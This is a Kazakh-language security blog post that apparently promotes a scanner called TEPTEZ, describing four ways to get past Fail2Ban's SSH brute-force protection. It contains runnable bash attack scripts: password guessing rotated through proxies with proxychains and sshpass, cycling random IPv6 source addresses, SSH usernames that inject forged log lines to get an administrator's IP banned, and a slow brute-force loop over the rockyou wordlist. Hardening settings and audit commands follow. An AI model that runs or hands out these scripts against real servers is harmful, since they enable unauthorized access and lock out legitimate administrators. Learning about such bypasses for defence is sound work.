Fail2Ban Bypass: Linux Brute-Force қорғанысын бұзатын 4 Exploit

Fail2Ban миллиондаған серверлерді қорғайды. Оны толығымен bypass жасайтын 4 нақты exploit.

Қысқаша

  • IP ротациясы: 1000+ прокси арқылы IP бақылауды айналып өтеді
  • IPv6 /48 = 2^80 мекенжай, Fail2Ban тек біреуін бұғаттайды
  • Лог инъекциясы: SSH пайдаланушы аты арқылы regex талдаушыны бұзады
  • Баяу шабуыл: шектен төмен, күніне 52,000 болжау байқалмайды

Fail2Ban дегеніміз не?

Журналдарды бақылап, сәтсіз кіру әрекеттерінен кейін IP мекенжайларды автоматты бұғаттайтын Python құралы. Миллиондаған Linux серверлеріне орнатылған. Бірақ қазіргі қаскүнемдер оны оңай айналып өтеді.
root@server:~
root@server:~$ fail2ban-client status sshd

Қалай жұмыс істейді

Fail2Ban журнал файлдарын (/var/log/auth.log немесе systemd journal) "Failed password" сияқты үлгілерге бақылайды. Бір IP findtime секунд ішінде maxretry-ден көп қате жасаса, Fail2Ban iptables/nftables ережесін қосып, сол IP-ды bantime секундқа бұғаттайды. Үш параметр — бүкіл brute-force қорғанысыңыз.
# Логикасы қарапайым:
# 1. Бақылау:   /var/log/auth.log
# 2. Іздеу:     "Failed password for .* from <HOST>"
# 3. Санау:     егер <HOST> қателері >= maxretry findtime ішінде
# 4. Бұғаттау:  iptables -I INPUT -s <HOST> -j REJECT
# 5. Ашу:       bantime секундтан кейін ережені алып тастау

# Әдепкі конфигурация (/etc/fail2ban/jail.conf):
[sshd]
enabled  = true
maxretry = 5       # 5 қате рұқсат
findtime = 600     # 10 минут ішінде
bantime  = 600     # 10 минутқа бұғаттау

Осал екеніңізді тексеріңіз

Серверіңізде осы командаларды орындаңыз. Кез келген тексеру сәтсіз болса — сіз қауіп астындасыз.
# 1. Fail2Ban жұмыс істеп тұр ма?
sudo fail2ban-client status

# 2. Ағымдағы параметрлер
sudo fail2ban-client get sshd maxretry    # әдепкі 5 = тым көп
sudo fail2ban-client get sshd findtime    # әдепкі 600 = тым аз
sudo fail2ban-client get sshd bantime     # әдепкі 600 = тым аз

# 3. SSH пароль қабылдай ма? (NO болуы керек)
grep -i "PasswordAuthentication" /etc/ssh/sshd_config

# 4. IPv6 ашық па?
ss -tlnp | grep ":22"
# Егер [::]:22 көрсеңіз → IPv6 SSH ашық

# 5. Қанша IP бұғатталған?
sudo fail2ban-client status sshd
Егер maxretry > 3, findtime < 3600 немесе PasswordAuthentication yes болса — төмендегі 4 эксплойтқа осалсыз.

Эксплойт 1 — IP ротациясы

Fail2Ban қателерді IP бойынша бақылайды. Шабуылды 1000 прокси бойынша таратсаңыз — ешбір IP шекке жетпейді.
IP Rotation — Live Attack Simulation
ROTATING SOURCE IPs
185.220.101.420/5
104.244.76.130/5
51.15.43.2070/5
198.98.52.690/5
23.129.64.110/5
45.153.160.20/5
0
TOTAL ATTEMPTS
0
BANS TRIGGERED
maxretry=5 never reached
for ip in $(cat proxy_list.txt); do
  proxychains -f <(echo "socks5 $ip 1080") \
    sshpass -p "pass123" ssh admin@target 2>/dev/null
done
# 1,000 IP × 4 attempt = 4,000 guess, ZERO ban

Эксплойт 2 — IPv6 теріс пайдалану

/48 префиксі 2^80 бірегей мекенжай береді. Fail2Ban жеке /128 бұғаттайды — пайдасыз.
PREFIX="2001:db8:abcd"
for i in $(seq 1 10000); do
  ADDR="$PREFIX:$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2):$(openssl rand -hex 2)"
  ip -6 addr add "$ADDR/128" dev eth0
  ssh -b "$ADDR" admin@target 2>/dev/null
  ip -6 addr del "$ADDR/128" dev eth0
done

Эксплойт 3 — Лог инъекциясы

Fail2Ban журналдарды regex-пен талдайды. Арнайы SSH пайдаланушы аты жалған жазбалар енгізіп, талдаушыны шатастырады немесе әкімші IP-сын бұғаттайды.
ssh 'admin\nMay 20 10:00:00 srv sshd[999]: Accepted password for root from 10.0.0.1'@target
ssh 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'@target
ssh 'x\nMay 20 10:00:00 srv sshd[999]: Failed password for root from ADMIN_IP'@target

Эксплойт 4 — Баяу brute-force

Әдепкі findtime 600 секунд. Әрекеттерді созсаңыз — санағыш қайта орнатылады. Толық байқалмайды.
Slow Brute-Force — Below Radar
4
4
4
4
4
4
4
ban threshold (5)
00:00
00:11
00:22
00:33
00:44
00:55
01:06
4 attempts — findtime resets every window — 0 bans
#!/bin/bash
while IFS= read -r pass; do
  for user in root admin deploy; do
    sshpass -p "$pass" ssh -o ConnectTimeout=5 $user@target 2>/dev/null
    sleep 180
  done
done < rockyou.txt
# 524/day/IP × 100 IP = 52,400 guess/day

Қорғаныш шаралары

Fail2Ban жалғыз жеткіліксіз. Көп деңгейлі қорғаныс:
PasswordAuthentication no

[sshd]
maxretry  = 3
findtime  = 3600
bantime   = 86400
filter    = sshd[mode=aggressive]

[DEFAULT]
ipv6_prefix = 64

iptables -A INPUT -p tcp --dport 22 \
  -m hashlimit --hashlimit-above 3/min \
  --hashlimit-burst 5 --hashlimit-mode srcip \
  --hashlimit-name ssh -j DROP
SSH кілттері + күшейтілген Fail2Ban + rate limiting = brute-force мүмкін емес.

TEPTEZ-бен сканерлеңіз. Бұл қауіпті қаскүнемдерден бұрын табыңыз.

TEPTEZ әлсіз Fail2Ban конфигурацияларды, ашық SSH және brute-force жеңілдіктерін автоматты анықтайды. Біздің DAST AI қызметін қараңыз — сканерлейді, табады және дайын түзетуді ұсынады.

TEPTEZ қолданып көру